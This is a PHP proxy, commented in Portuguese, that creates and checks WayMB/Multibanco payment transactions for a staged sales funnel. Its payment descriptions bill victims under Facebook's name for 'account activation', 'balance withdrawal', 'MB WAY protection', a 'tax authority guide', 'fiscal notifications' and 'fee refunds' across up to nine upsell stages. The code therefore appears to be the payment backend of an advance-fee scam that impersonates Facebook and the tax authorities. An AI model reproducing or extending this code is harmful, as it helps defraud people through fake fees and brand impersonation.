<?php
/**
 * Proxy local para WayMB (criar transacao e consultar status).
 * - Default de criacao: multibanco (mais estavel neste funil)
 * - Sem tracking aqui (xtracky permanece separado no projeto)
 */

header('Content-Type: application/json; charset=utf-8');
require_once __DIR__ . '/central.php';

// Carregar credenciais do arquivo de config centralizado
$_secrets = require __DIR__ . '/secrets-config.php';

$client_id = $_secrets['waymb_client_id'];
$client_secret = $_secrets['waymb_client_secret'];
$account_email = $_secrets['waymb_account_email'];

unset($_secrets);

$action = $_GET['action'] ?? 'create';
$raw = file_get_contents('php://input');
$data = json_decode($raw, true) ?: [];

function json_out($code, $payload) {
    http_response_code($code);
    echo json_encode($payload, JSON_UNESCAPED_UNICODE);
    exit;
}

function waymb_post($url, $payload) {
    $ch = curl_init($url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($payload));
    curl_setopt($ch, CURLOPT_HTTPHEADER, ['Content-Type: application/json']);
    curl_setopt($ch, CURLOPT_TIMEOUT, 20);
    $response = curl_exec($ch);
    $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    $curlErr = curl_error($ch);
    curl_close($ch);
    return [$httpCode, $response, $curlErr];
}

if ($action === 'status' || $action === 'info') {
    $transaction_id = trim((string)($data['id'] ?? $_GET['id'] ?? ''));
    if ($transaction_id === '') {
        json_out(400, ['error' => 'Missing transaction ID']);
    }

    [$httpCode, $response, $curlErr] = waymb_post(
        'https://api.waymb.com/transactions/info',
        ['id' => $transaction_id]
    );

    if ($curlErr !== '') {
        json_out(502, ['error' => 'Erro ao consultar status no gateway', 'details' => $curlErr]);
    }

    $resp = json_decode((string)$response, true);
    if (!is_array($resp)) {
        json_out($httpCode > 0 ? $httpCode : 502, ['error' => 'Resposta invalida do gateway']);
    }

    $rawStatus = strtoupper(trim((string)($resp['status'] ?? '')));
    $status = 'pending';
    if (in_array($rawStatus, ['PAID', 'APPROVED', 'COMPLETED', 'CONFIRMED'], true)) {
        $status = 'paid';
    } elseif (in_array($rawStatus, ['FAILED', 'CANCELED', 'CANCELLED', 'EXPIRED', 'REFUNDED'], true)) {
        $status = 'failed';
    }

    json_out(200, [
        'status' => $status,
        'raw_status' => $rawStatus,
        'transaction_id' => $transaction_id,
        'gateway_response' => $resp
    ]);
}

$stage = strtolower(trim((string)($data['stage'] ?? '')));
$amount = (float)($data['amount'] ?? 0);
if ($stage !== '') {
    $amount = central_price($stage, $amount);
}
if ($amount <= 0) {
    $amount = central_price('front', 12.97);
}

$payment_descriptions = [
    'front' => 'Facebook - Ativacao de Conta',
    'up1'   => 'Facebook - Taxa de Activacao App',
    'up2'   => 'Facebook - Levantamento de Saldo',
    'up3'   => 'Facebook - Proteccao MB WAY',
    'up4'   => 'Facebook - Guia Autoridade Trib.',
    'up5'   => 'Facebook - Notificacao Fiscal',
    'up6'   => 'Facebook - Estorno de Taxas',
    'up7'   => 'Facebook - Bonus Extra',
    'up8'   => 'Facebook - Antecipacao Imediata',
    'up9'   => 'Facebook - Tributacao Digital',
];
$paymentDescription = $payment_descriptions[$stage] ?? 'Facebook - Pagamento';

$method = strtolower(trim((string)($data['method'] ?? 'multibanco')));
if ($method === '') {
    $method = 'multibanco';
}

$payer = $data['payer'] ?? [];
if (!is_array($payer)) {
    $payer = [];
}

// Não forçar CPF/document: deixa o gateway validar apenas os dados enviados.
if (array_key_exists('document', $payer)) {
    $doc = trim((string)$payer['document']);
    if ($doc === '') {
        unset($payer['document']);
    }
}

$payload = [
    'client_id' => $client_id,
    'client_secret' => $client_secret,
    'account_email' => $account_email,
    'amount' => $amount,
    'method' => $method,
    'payer' => $payer,
    'currency' => 'EUR',
    'paymentDescription' => $paymentDescription,
    'callbackUrl' => $data['callbackUrl'] ?? '',
    'success_url' => $data['success_url'] ?? '',
    'failed_url' => $data['failed_url'] ?? ''
];

[$httpCode, $response, $curlErr] = waymb_post('https://api.waymb.com/transactions/create', $payload);

if ($curlErr !== '') {
    json_out(502, ['error' => 'Erro ao criar transacao no gateway', 'details' => $curlErr]);
}

$resp = json_decode((string)$response, true);
if (!is_array($resp)) {
    json_out($httpCode > 0 ? $httpCode : 502, ['error' => 'Resposta invalida do gateway']);
}

$id = $resp['id'] ?? $resp['transaction_id'] ?? null;
if (!$id) {
    json_out($httpCode > 0 ? $httpCode : 502, ['error' => 'Gateway nao retornou ID da transacao', 'gateway_response' => $resp]);
}

json_out(200, $resp);

